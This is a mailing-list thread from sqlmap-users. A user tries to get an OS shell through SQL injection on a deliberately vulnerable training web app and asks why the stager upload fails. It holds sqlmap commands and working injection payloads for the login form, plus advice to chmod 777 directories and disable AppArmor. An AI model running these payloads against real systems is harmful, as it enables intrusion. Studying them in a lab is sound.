Thread: [sqlmap-users] SQLMAP throws 404 error - unable to upload the file stager
Brought to you by:
inquisb
From: M O. <col...@ho...> - 2014-08-14 00:40:20
|
I can't get to upload the stager file on the OWASPbwa document root (/var/wwww/WackoPicko/users). I am not sure how to troubleshoot this issue. Any help on the issue will be appreciated. Thank you. root@kali:~# sqlmap -u "http://192.168.0.8/WackoPicko/users/login.php" --data "username=hacker&password=password&submit=login" --os-shell -v 1 --flush-session sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 11:22:25 [11:22:25] [INFO] testing connection to the target url [11:22:25] [INFO] heuristics detected web page charset 'None' sqlmap got a 303 redirect to 'http://192.168.0.8:80/WackoPicko/users/home.php'. Do you want to follow? [Y/n] Y redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] n [11:22:32] [INFO] heuristics detected web page charset 'ascii' [11:22:32] [INFO] testing if the url is stable, wait a few seconds [11:22:33] [WARNING] POST parameter 'username' does not appear dynamic [11:22:33] [WARNING] heuristic (parsing) test shows that POST parameter 'username' might not be injectable [11:22:33] [INFO] testing for SQL injection on POST parameter 'username' [11:22:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [11:22:33] [WARNING] reflective value(s) found and filtering out [11:22:33] [INFO] POST parameter 'username' is 'AND boolean-based blind - WHERE or HAVING clause' injectable [11:22:34] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' do you want to include all tests for 'MySQL' ignoring provided level (1) and risk (1)? [Y/n] n [11:22:45] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' [11:22:45] [INFO] POST parameter 'username' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable [11:22:45] [INFO] testing 'MySQL inline queries' [11:22:45] [INFO] testing 'MySQL > 5.0.11 stacked queries' [11:22:45] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' [11:22:55] [INFO] POST parameter 'username' is 'MySQL > 5.0.11 AND time-based blind' injectable [11:22:55] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [11:22:56] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found [11:22:56] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [11:22:56] [INFO] target url appears to have 9 columns in query injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y [11:23:01] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. --dbms=mysql) [11:23:01] [INFO] testing 'Generic UNION query (95) - 1 to 20 columns' POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection points with a total of 81 HTTP(s) requests: --- Place: POST Parameter: username Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: username=hacker' AND 3230=3230 AND 'YAZW'='YAZW&password=password&submit=login Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: username=hacker' AND (SELECT 1330 FROM(SELECT COUNT(*),CONCAT(0x3a70636d3a,(SELECT (CASE WHEN (1330=1330) THEN 1 ELSE 0 END)),0x3a7364723a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Dris'='Dris&password=password&submit=login Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: username=hacker' AND SLEEP(5) AND 'kgtY'='kgtY&password=password&submit=login --- [11:23:05] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 10.04 (Lucid Lynx) web application technology: PHP 5.3.2, Apache 2.2.14 back-end DBMS: MySQL 5.0 [11:23:05] [INFO] going to use a web backdoor for command prompt [11:23:05] [INFO] fingerprinting the back-end DBMS operating system [11:23:05] [INFO] the back-end DBMS operating system is Linux [11:23:05] [INFO] trying to upload the file stager which web application language does the web server support? [1] ASP [2] ASPX [3] JSP [4] PHP (default) |> 4 [11:23:08] [WARNING] unable to retrieve automatically the web server document root do you want to provide a text file with a list of directories to try? [y/N] N please provide the web server document root [/var/www/]: /var/www/WackoPicko/users [11:23:26] [WARNING] unable to retrieve automatically any web server path please provide additional comma separated file paths to try to upload the agent inside the possible document: [11:23:32] [WARNING] unable to upload the file stager on '/var/www/WackoPicko/users' [11:23:32] [WARNING] unable to upload the file stager on '/var/www/WackoPicko/users/WackoPicko/users' [11:23:32] [WARNING] HTTP error codes detected during run: 404 (Not Found) - 2 times [11:23:32] [INFO] fetched data logged to text files under './output/192.168.0.8' [*] shutting down at 11:23:32 |
From: Brandon P. <bpe...@gm...> - 2014-08-14 16:56:19
|
Does the mysql user have write permissions on the web server? A properly configured web server where chown www-data:www-data was done, as opposed to chmod 777 on the web dir, which is an improper configuration, will not allow the mysql user to write to the web root. On Wed, Aug 13, 2014 at 6:47 PM, M Omara <col...@ho...> wrote: > I can't get to upload the stager file on the OWASPbwa document root > (/var/wwww/WackoPicko/users). I am not sure how to troubleshoot this issue. > Any help on the issue will be appreciated. Thank you. > > root@kali:~# sqlmap -u "http://192.168.0.8/WackoPicko/users/login.php" > --data "username=hacker&password=password&submit=login" --os-shell -v 1 > --flush-session > > sqlmap/1.0-dev - automatic SQL injection and database takeover tool > http://sqlmap.org > > [!] legal disclaimer: Usage of sqlmap for attacking targets without prior > mutual consent is illegal. It is the end user's responsibility to obey all > applicable local, state and federal laws. Developers assume no liability > and > are not responsible for any misuse or damage caused by this program > > [*] starting at 11:22:25 > > [11:22:25] [INFO] testing connection to the target url > [11:22:25] [INFO] heuristics detected web page charset 'None' > sqlmap got a 303 redirect to > 'http://192.168.0.8:80/WackoPicko/users/home.php'. Do you want to follow? > [Y/n] Y > redirect is a result of a POST request. Do you want to resend original POST > data to a new location? [Y/n] n > [11:22:32] [INFO] heuristics detected web page charset 'ascii' > [11:22:32] [INFO] testing if the url is stable, wait a few seconds > [11:22:33] [WARNING] POST parameter 'username' does not appear dynamic > [11:22:33] [WARNING] heuristic (parsing) test shows that POST parameter > 'username' might not be injectable > [11:22:33] [INFO] testing for SQL injection on POST parameter 'username' > [11:22:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING > clause' > [11:22:33] [WARNING] reflective value(s) found and filtering out > [11:22:33] [INFO] POST parameter 'username' is 'AND boolean-based blind - > WHERE or HAVING clause' injectable > [11:22:34] [INFO] heuristic (extended) test shows that the back-end DBMS > could be 'MySQL' > do you want to include all tests for 'MySQL' ignoring provided level (1) > and > risk (1)? [Y/n] n > [11:22:45] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING > clause' > [11:22:45] [INFO] POST parameter 'username' is 'MySQL >= 5.0 AND > error-based > - WHERE or HAVING clause' injectable > [11:22:45] [INFO] testing 'MySQL inline queries' > [11:22:45] [INFO] testing 'MySQL > 5.0.11 stacked queries' > [11:22:45] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' > [11:22:55] [INFO] POST parameter 'username' is 'MySQL > 5.0.11 AND > time-based blind' injectable > [11:22:55] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' > [11:22:56] [INFO] automatically extending ranges for UNION query injection > technique tests as there is at least one other potential injection > technique > found > [11:22:56] [INFO] ORDER BY technique seems to be usable. This should reduce > the time needed to find the right number of query columns. Automatically > extending the range for current UNION query injection technique test > [11:22:56] [INFO] target url appears to have 9 columns in query > injection not exploitable with NULL values. Do you want to try with a > random > integer value for option '--union-char'? [Y/n] Y > [11:23:01] [WARNING] if UNION based SQL injection is not detected, please > consider forcing the back-end DBMS (e.g. --dbms=mysql) > [11:23:01] [INFO] testing 'Generic UNION query (95) - 1 to 20 columns' > POST parameter 'username' is vulnerable. Do you want to keep testing the > others (if any)? [y/N] N > sqlmap identified the following injection points with a total of 81 HTTP(s) > requests: > --- > Place: POST > Parameter: username > Type: boolean-based blind > Title: AND boolean-based blind - WHERE or HAVING clause > Payload: username=hacker' AND 3230=3230 AND > 'YAZW'='YAZW&password=password&submit=login > > Type: error-based > Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause > Payload: username=hacker' AND (SELECT 1330 FROM(SELECT > COUNT(*),CONCAT(0x3a70636d3a,(SELECT (CASE WHEN (1330=1330) THEN 1 ELSE 0 > END)),0x3a7364723a,FLOOR(RAND(0)*2))x FROM > INFORMATION_SCHEMA.CHARACTER_SETS > GROUP BY x)a) AND 'Dris'='Dris&password=password&submit=login > > Type: AND/OR time-based blind > Title: MySQL > 5.0.11 AND time-based blind > Payload: username=hacker' AND SLEEP(5) AND > 'kgtY'='kgtY&password=password&submit=login > --- > [11:23:05] [INFO] the back-end DBMS is MySQL > web server operating system: Linux Ubuntu 10.04 (Lucid Lynx) > web application technology: PHP 5.3.2, Apache 2.2.14 > back-end DBMS: MySQL 5.0 > [11:23:05] [INFO] going to use a web backdoor for command prompt > [11:23:05] [INFO] fingerprinting the back-end DBMS operating system > [11:23:05] [INFO] the back-end DBMS operating system is Linux > [11:23:05] [INFO] trying to upload the file stager > which web application language does the web server support? > [1] ASP > [2] ASPX > [3] JSP > [4] PHP (default) > |> 4 > [11:23:08] [WARNING] unable to retrieve automatically the web server > document root > do you want to provide a text file with a list of directories to try? > [y/N] N > please provide the web server document root [/var/www/]: > /var/www/WackoPicko/users > [11:23:26] [WARNING] unable to retrieve automatically any web server path > please provide additional comma separated file paths to try to upload the > agent inside the possible document: > [11:23:32] [WARNING] unable to upload the file stager on > '/var/www/WackoPicko/users' > [11:23:32] [WARNING] unable to upload the file stager on > '/var/www/WackoPicko/users/WackoPicko/users' > [11:23:32] [WARNING] HTTP error codes detected during run: > 404 (Not Found) - 2 times > [11:23:32] [INFO] fetched data logged to text files under './output/ > 192.168.0.8' > > [*] shutting down at 11:23:32 > > > > > ------------------------------------------------------------------------------ > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website |
From: M O. <col...@ho...> - 2014-08-15 03:34:49
|
Brandon Perry <bperry.volatile@...> writes: > > > Does the mysql user have write permissions on the web server? A properly configured web server where chown www-data:www-data was done, as opposed to chmod 777 on the web dir, which is an improper configuration, will not allow the mysql user to write to the web root. You are right, the /var/www has www-data:www-data set. So I created a temp folder inside the web root with nobody:nogroup permission but I am still getting the same error. Any more configurations I need to change in mysql db for this to work. Thank you in advance. |
From: Brandon P. <bpe...@gm...> - 2014-08-15 13:13:34
|
Can you write to /tmp? Instead of chowning the directory, just chmod -R 777 the dir you want to write the payload to, that's how many docs on the internet tell people to make an upload directory, for instance, writable by the web server. Of course, this is incorrect, but it's definitely easier than figuring out what your permissions really should be. On Thu, Aug 14, 2014 at 10:34 PM, M Omara <col...@ho...> wrote: > Brandon Perry <bperry.volatile@...> writes: > > > > > > > Does the mysql user have write permissions on the web server? A properly > configured web server where chown www-data:www-data was done, as opposed to > chmod 777 on the web dir, which is an improper configuration, will not > allow > the mysql user to write to the web root. > > > > You are right, the /var/www has www-data:www-data set. So I created a temp > folder inside the web root with nobody:nogroup permission but I am still > getting the same error. Any more configurations I need to change in mysql > db > for this to work. Thank you in advance. > > > > > > ------------------------------------------------------------------------------ > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website |
From: Omara <col...@ho...> - 2014-08-15 14:53:05
|
Brandon Perry <bperry.volatile@...> writes: > > > Can you write to /tmp? > Instead of chowning the directory, just chmod -R 777 the dir you want to write the payload to, that's how many docs on the internet tell people to make an upload directory, for instance, writable by the web server. > > Of course, this is incorrect, but it's definitely easier than figuring out what your permissions really should be. > > > On Thu, Aug 14, 2014 at 10:34 PM, M Omara <coldhand- Pkb...@pu...> wrote: > Brandon Perry <bperry.volatile <at> ...> writes: > > > > > > Does the mysql user have write permissions on the web server? A properly > configured web server where chown www-data:www-data was done, as opposed to > chmod 777 on the web dir, which is an improper configuration, will not allow > the mysql user to write to the web root. > You are right, the /var/www has www-data:www-data set. So I created a temp > folder inside the web root with nobody:nogroup permission but I am still > getting the same error. Any more configurations I need to change in mysql db > for this to work. Thank you in advance. > > ------------------------------------------------------------------------- ----- > _______________________________________________ > sqlmap-users mailing listsqlmap-users- 5NW...@pu...https://lists.sourceforge.net/list s/listinfo/sqlmap-users I should be able to write to /var/www/WackoPicko/temp but I still get the same 404 error. I also give chmod 777 -R to /var/www/WackoPicko/users with no avail. Do I need to use different switches to be able to write to the web root?. I added the --file-dest write switch but still not working. The man page says --os-shell works only with writable web root directory and I created one but it doesn't work. However, I can get SQL shell on the database. sqlmap -u "http://x.x.x.x/WackoPicko/users/login.php" --data "username=hacker&password=password&submit=login" --os-shell -v 1 --flush-session --file-dest=http://x.x.x.x/WackoPicko/users |
From: Brandon P. <bpe...@gm...> - 2014-08-15 15:02:19
|
Can you write to /tmp? Pick a directory you KNOW you should be able to write to, and ensure you can write to that first. Also, maybe SELinux/AppArmor are getting in the way. On Fri, Aug 15, 2014 at 9:52 AM, Omara <col...@ho...> wrote: > Brandon Perry <bperry.volatile@...> writes: > > > > > > > Can you write to /tmp? > > Instead of chowning the directory, just chmod -R 777 the dir you want to > write the payload to, that's how many docs on the internet tell people to > make an upload directory, for instance, writable by the web server. > > > > Of course, this is incorrect, but it's definitely easier than figuring > out what your permissions really should be. > > > > > > On Thu, Aug 14, 2014 at 10:34 PM, M Omara <coldhand- > Pkb...@pu...> wrote: > > Brandon Perry <bperry.volatile <at> ...> writes: > > > > > > > > > Does the mysql user have write permissions on the web server? A > properly > > configured web server where chown www-data:www-data was done, as opposed > to > > chmod 777 on the web dir, which is an improper configuration, will not > allow > > the mysql user to write to the web root. > > You are right, the /var/www has www-data:www-data set. So I created a > temp > > folder inside the web root with nobody:nogroup permission but I am still > > getting the same error. Any more configurations I need to change in > mysql db > > for this to work. Thank you in advance. > > > > ------------------------------------------------------------------------- > ----- > > _______________________________________________ > > sqlmap-users mailing listsqlmap-users- > 5NW...@pu...https:// > lists.sourceforge.net/list > s/listinfo/sqlmap-users > > > I should be able to write to /var/www/WackoPicko/temp but I still get the > same 404 error. I also give chmod 777 -R to /var/www/WackoPicko/users with > no avail. Do I need to use different switches to be able to write to the > web root?. I added the --file-dest write switch but still not working. The > man page says --os-shell works only with writable web root directory and I > created one but it doesn't work. However, I can get SQL shell on the > database. > > sqlmap -u "http://x.x.x.x/WackoPicko/users/login.php" > --data "username=hacker&password=password&submit=login" --os-shell -v 1 > --flush-session --file-dest=http://x.x.x.x/WackoPicko/users > > > > > ------------------------------------------------------------------------------ > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website |
From: Omara <col...@ho...> - 2014-08-17 22:56:27
|
Brandon Perry <bperry.volatile@...> writes: > > > Can you write to /tmp? > > Pick a directory you KNOW you should be able to write to, and ensure you can write to that first. > > Also, maybe SELinux/AppArmor are getting in the way. > > > On Fri, Aug 15, 2014 at 9:52 AM, Omara <coldhand- Pkb...@pu...> wrote: > Brandon Perry <bperry.volatile <at> ...> writes: > > > > > > Can you write to /tmp? > > Instead of chowning the directory, just chmod -R 777 the dir you want to > write the payload to, that's how many docs on the internet tell people to > make an upload directory, for instance, writable by the web server. > > > > Of course, this is incorrect, but it's definitely easier than figuring > out what your permissions really should be. > > > > > > On Thu, Aug 14, 2014 at 10:34 PM, M Omara <coldhand- Pkb...@pu...> wrote:> Brandon Perry <bperry.volatile <at> ...> writes: > > > > > > > > > Does the mysql user have write permissions on the web server? A > properly > > configured web server where chown www-data:www-data was done, as opposed > to > > chmod 777 on the web dir, which is an improper configuration, will not > allow > > the mysql user to write to the web root. > > You are right, the /var/www has www-data:www-data set. So I created a > temp > > folder inside the web root with nobody:nogroup permission but I am still > > getting the same error. Any more configurations I need to change in > mysql db > > for this to work. Thank you in advance. > > > > ------------------------------------------------------------------------ - > ----- > > _______________________________________________ > > sqlmap-users mailing listsqlmap-users- > 5NWGOfrQmnc- XMD5yJDbdMReXY1tMh2IBpG/4tX0xfm6C0JFWXbtX6LTB0XVy/Qj...@pu...://li sts.sourceforge.net/list > s/listinfo/sqlmap-users > I should be able to write to /var/www/WackoPicko/temp but I still get the > same 404 error. I also give chmod 777 -R to /var/www/WackoPicko/users with > no avail. Do I need to use different switches to be able to write to the > web root?. I added the --file-dest write switch but still not working. The > man page says --os-shell works only with writable web root directory and I > created one but it doesn't work. However, I can get SQL shell on the > database. > sqlmap -u "http://x.x.x.x/WackoPicko/users/login.php"--data "username=hacker&password=password&submit=login" --os-shell -v 1 > --flush-session --file-dest=http://x.x.x.x/WackoPicko/users > > -------------------------------------------------------------------------- ---- > _______________________________________________ > sqlmap-users mailing listsqlmap-users- 5NW...@pu...https://lists.sourceforge.net/lists /listinfo/sqlmap-users I tried the same sqlmap command with different switches on DVWA and it worked. It's ubuntu-based lampp web server with an "uploads" folder in its root with nobody permissions. But I still can't get to upload the stager file to OWASPBWA. I disabled apparmor as you recommended and the tmp folder is writable but it made no difference. I still get 404 not found. |
From: Omara <col...@ho...> - 2014-08-17 23:54:28
|
I also get "it looks like the file has not been written, this can occur if the DBMS process' user has no write privileges in the destination path" when I try to read and write a file to the destination path on the DBMS. So the question now is, how to make the destination path /var/www/dvwa/hackable/uploads writable?. The whole path has root permissions set, except the uploads folder has nobody permission set. I appreciate you help. |
From: Robin W. <ro...@di...> - 2014-08-18 06:54:06
|
I'd assume on LAMP that the file is written using INTO OUTFILE so what you could try is SSH to the box, use the MySQL client to connect as the user the web app uses and try to create the file manually just to see if it can be created. Robin On 18 Aug 2014 00:54, "Omara" <col...@ho...> wrote: > I also get "it looks like the file has not been written, this can occur if > the DBMS process' user has no write privileges in the destination path" > when > I try to read and write a file to the destination path on the DBMS. So the > question now is, how to make the destination path > /var/www/dvwa/hackable/uploads writable?. The whole path has root > permissions set, except the uploads folder has nobody permission set. I > appreciate you help. > > > > > ------------------------------------------------------------------------------ > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > |